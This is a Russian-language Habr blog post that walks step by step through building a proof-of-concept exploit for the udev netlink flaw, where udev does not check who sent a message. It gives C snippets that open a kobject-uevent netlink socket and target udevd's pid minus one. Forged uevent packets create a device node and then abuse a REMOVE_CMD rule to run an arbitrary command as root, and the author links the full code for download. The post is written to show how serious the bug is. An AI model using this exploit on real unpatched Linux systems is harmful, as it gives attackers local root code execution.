Как стать автором
Обновить

Скучный эксплойт для одной широкой дыры

Время на прочтение2 мин
Количество просмотров2.3K
Хаброюзер allan_sundry во флейме про ботнет под Mac OS X не поверил, что недавняя уязвимость в Linux-овом udev действительно широка, глубока и в ряде случаев даже опасна. В ответ я решил написать этот топик, демонстрирующий, что создать рабочий эксплойт для опубликованной уязвимости нередко может даже фриланствующий студент-недоучка, потратив пару-тройку часов воскресным вечером.

Входная информация — udev не проверяет отправителя сообщения.

А вот и весь нехитрый процесс создания эксплойта по шагам:
  1. Скачиваем исходники udev, grep-ом находим, что нужно создавать netlink-сокет для протокола NETLINK_KOBJECT_UEVENT:
    int netlink_socket = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  2. Читаем man 7 netlink и заполняем адрес назначения для пакета:
    struct sockaddr_nl dest;<br/>memset(&dest, 0, sizeof(dest));<br/>dest.nl_family = AF_NETLINK;<br/>dest.nl_pid = pidof_udev;<br/>
  3. Запускаем strace -p `pidof udevd`, втыкаем что-нибудь в USB и получаем примерный формат пакета:
    #define REQ(act, dev) \<br/> act "@/class/mem/" dev "\0" \<br/> "UDEV_LOG=3\0" \<br/> "ACTION=" act "\0" \<br/> "DEVPATH=/class/mem/" dev "\0" \<br/> "SUBSYSTEM=mem\0" \<br/> "MAJOR=1\0" \<br/> "MINOR=1\0" \<br/> "SEQNUM=3747\0" \<br/> "UDEVD_EVENT=1\0" \<br/> "DEVNAME=/dev/" dev "\0"<br/>char req1[] = REQ("add", "ufo");
  4. Отправляем этот пакет:
    sendto(netlink_socket, req1, sizeof(req1)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    И получаем в ответ «Connection refused».
  5. Изучаем еще раз исходники udev и обнаруживаем, что netlink сокет открывается до того, как демон уйдет в фон, fork()-нувшись. Pid-ы обычно выдаются последовательно, поэтому попробуем просто задать немного другой адрес:
    dest.nl_pid = pidof_udev - 1;
    После этого никаких ошибок send() не вернул и более того, в /dev появился странный файл /dev/ufo, который и был только что создан через дыру в udev. Но создать устройство — это не очень не интересно, лучше исполнить свой код.
  6. Сложный путь по внедрению своего кода в ядро через специальные устройства /dev/mem и /dev/kmem — это интересно, но для proof-of-concept можно и срезать дорогу. Запускаем grep -r RUN /etc/udev/rules.d/ и находим странно написанное правило:
    ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
  7. Добавляем еще одно netlink-сообщение, на этот раз для удаления /dev/ufo:
    char req2[] = REQ("remove", "ufo") "REMOVE_CMD=/bin/touch /woot\0";<br/>sendto(netlink_socket, req2, sizeof(req2)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    Запускаем… НЛО прилетело и оставило файл /woot!
Все вышеперечисленное проверялось на Gentoo но, вероятно, будет работать и под Ubuntu. Те, кто не обновился и желают самостоятельно поставить эксперимент, могут скачать код целиком.

P.S. скучный топик, не правда ли?
Теги:
Хабы:
Всего голосов 179: ↑174 и ↓5+169
Комментарии95

Публикации

Истории

Ближайшие события

27 августа – 7 октября
Премия digital-кейсов «Проксима»
МоскваОнлайн
19 сентября
CDI Conf 2024
Москва
20 – 22 сентября
BCI Hack Moscow
Москва
24 сентября
Конференция Fin.Bot 2024
МоскваОнлайн
25 сентября
Конференция Yandex Scale 2024
МоскваОнлайн
28 – 29 сентября
Конференция E-CODE
МоскваОнлайн
28 сентября – 5 октября
О! Хакатон
Онлайн
30 сентября – 1 октября
Конференция фронтенд-разработчиков FrontendConf 2024
МоскваОнлайн
3 – 18 октября
Kokoc Hackathon 2024
Онлайн